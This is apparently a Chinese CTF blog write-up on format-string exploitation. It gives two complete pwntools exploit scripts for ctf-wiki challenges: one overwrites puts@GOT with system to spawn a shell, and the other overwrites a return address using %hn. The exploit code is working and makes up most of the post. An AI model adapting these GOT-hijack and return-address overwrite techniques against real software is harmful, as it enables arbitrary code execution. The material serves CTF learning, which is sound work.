pwn----Fmtstr(二)

安全建
• 阅读 1532

接着上面一篇说劫持got表从而获得shell

原理

在我们的got表中,存储的是函数的真实地址,调用got表时,实际上是跳到真实地址去执行。所以我们只要(parial下)将got表的地方修改成我们想要函数的实际地址,就可以利用了

ctf-wiki上的pwn3,太长这里就不贴了
直接exp

from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
pwn3 = ELF('./pwn3')
if args['REMOTE']:
    sh = remote('111', 111)
else:
    sh = process('./pwn3')


def get(name):
    sh.sendline('get')
    sh.recvuntil('enter the file name you want to get:')
    sh.sendline(name)
    data = sh.recv()
    return data


def put(name, content):
    sh.sendline('put')
    sh.recvuntil('please enter the name of the file you want to upload:')
    sh.sendline(name)
    sh.recvuntil('then, enter the content:')
    sh.sendline(content)


def show_dir():
    sh.sendline('dir')


tmp = 'sysbdmin'
name = ""
for i in tmp:
    name += chr(ord(i) - 1)


## password
def password():
    sh.recvuntil('Name (ftp.hacker.server:Rainism):')
    sh.sendline(name)


##password
password()
#看一下ida直接绕过
## get the addr of puts
puts_got = pwn3.got['puts']
log.success('puts got : ' + hex(puts_got))
put('1111', '%8$s' + p32(puts_got))
#利用printf打印处puts的地址,1111是随便输的
puts_addr = u32(get('1111')[:4])
print(hex(puts_addr))

## get addr of system
##得到地址后人工查询是偏移
system_offset =0x03adb0
puts_offset = 0x05fcb0
system_addr = puts_addr - puts_offset + system_offset
log.success('system addr : ' + hex(system_addr))

## modify puts@got, point to system_addr
#记得算偏移时候断点下在call的时候
payload = fmtstr_payload(7, {puts_got: system_addr})
print(payload)
put('/bin/sh;', payload)
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
##gdb.attach(sh)
sh.sendline('/bin/sh;')
##这里用分号是为了分开命令,防止sys读错  这里直接执行是因为上面的put就是这次put的参数。

## system('/bin/sh')
show_dir()
sh.interactive()

劫持返回地址
原理就是把返回地址内存空间上的返回地址通过格式化漏洞换成我们在text中的想要的函数的内容...注意这里泄露了原bp的地址然后算原bp地址和现在返回地址的偏移,再确定返回地址

也是wiki上的pwnme_k0
这里直接EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"

sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)

sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
##这里是系统函数,函数寄存器存储6个,在$中最小是6
##64位太怪异了  用的fastcall 参数在栈上共享 还有字节对齐
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
##算出偏移是0x38
success("ret_addr:"+hex(ret_addr))


sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
##发现读入和取出的参数是一样的...具体自己用汇编算偏移,不过还是建议程序走一遍来发现字这个特点...毕竟是一个漏洞会知道是哪里读入的
sh.recv()
#sh.writeline("%2214d%8$hn")
#0x4008aa-0x4008a6 
##填什么 看Ubuntu版本,18.以上的填上面的可能会crash
sh.writeline("%2214d%8$hn")

sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()

pwn----Fmtstr(二)
pwn----Fmtstr(二)
注意分分清不同调用的汇编代码,从而进行相应的调整....本题就是红字典型的特征...注意栈偏移

收工睡觉

点赞
收藏
评论区
推荐文章
美凌格栋栋酱 美凌格栋栋酱
7个月前
Oracle 分组与拼接字符串同时使用
SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
Easter79 Easter79
3年前
sql注入
反引号是个比较特别的字符,下面记录下怎么利用0x00SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select\from\users\whereuser\_id1limit0,1;!(https://o
Stella981 Stella981
3年前
Hive中使用row_number() over()创建自增主键
虽然hive中的表没有主键一说,但是实际数据开发中经常需要将hive中计算好的表导出到mysql库中供业务使用或开发调用,而mysql表是需要有主键的,在hive中我们可以使用row\_number()over()窗口函数来生成一个自增序列的字段,在将表导出到mysql库中的时候就可以指定该字段为主键,使用起来还是挺方便的。select
Wesley13 Wesley13
3年前
mysql设置时区
mysql设置时区mysql\_query("SETtime\_zone'8:00'")ordie('时区设置失败,请联系管理员!');中国在东8区所以加8方法二:selectcount(user\_id)asdevice,CONVERT\_TZ(FROM\_UNIXTIME(reg\_time),'08:00','0
Stella981 Stella981
3年前
Android so注入(inject)和Hook技术学习(二)——Got表hook之导入表hook
  全局符号表(GOT表)hook实际是通过解析SO文件,将待hook函数在got表的地址替换为自己函数的入口地址,这样目标进程每次调用待hook函数时,实际上是执行了我们自己的函数。  GOT表其实包含了导入表和导出表,导出表指将当前动态库的一些函数符号保留,供外部调用,导入表中的函数实际是在该动态库中调用外部的导出函数。  这里有几个关键点要
Wesley13 Wesley13
3年前
oracle查询表数据并重新插入到本表
oracle查询表数据并重新插入到本表CreateTime2018年5月17日10:30:10Author:Marydon1.情景描述查询表中数据SELECTFROMat_aut
Wesley13 Wesley13
3年前
MySQL INNER JOIN子句介绍
MySQLINNERJOIN子句介绍MySQLINNERJOIN子句将一个表中的行与其他表中的行进行匹配,并允许从两个表中查询包含列的行记录。INNERJOIN子句是SELECT语句的可选部分,它出现在FROM子句(https://www.oschina.net/action/GoT
Wesley13 Wesley13
3年前
ThinkPHP 根据关联数据查询 hasWhere 的使用实例
很多时候,模型关联后需要根据关联的模型做查询。场景:广告表(ad),广告类型表(ad\_type),现在需要筛选出广告类型表中id字段为1且广告表中status为1的列表先看关联的设置部分 publicfunctionadType(){return$thisbelongsTo('A
Stella981 Stella981
3年前
GOT段在linux系统中实现代码动态加载的作用和其他段的说明
上一节我们看到,当程序想调用系统函数时,在编译阶段无法确认被调用函数所在的虚拟地址。因此必须有机制让程序在运行过程中,在调用系统API的时候有办法去确定所调用的系统函数对应的入口地址,这就是代码运行时对应动态加载的过程。动态加载,也就是在调用系统函数时再去确认所调用的函数地址的技术需要使用两个段,一个是.plt段,一个是.got.plt段。后者其实是.g
为什么mysql不推荐使用雪花ID作为主键
作者:毛辰飞背景在mysql中设计表的时候,mysql官方推荐不要使用uuid或者不连续不重复的雪花id(long形且唯一),而是推荐连续自增的主键id,官方的推荐是auto_increment,那么为什么不建议采用uuid,使用uuid究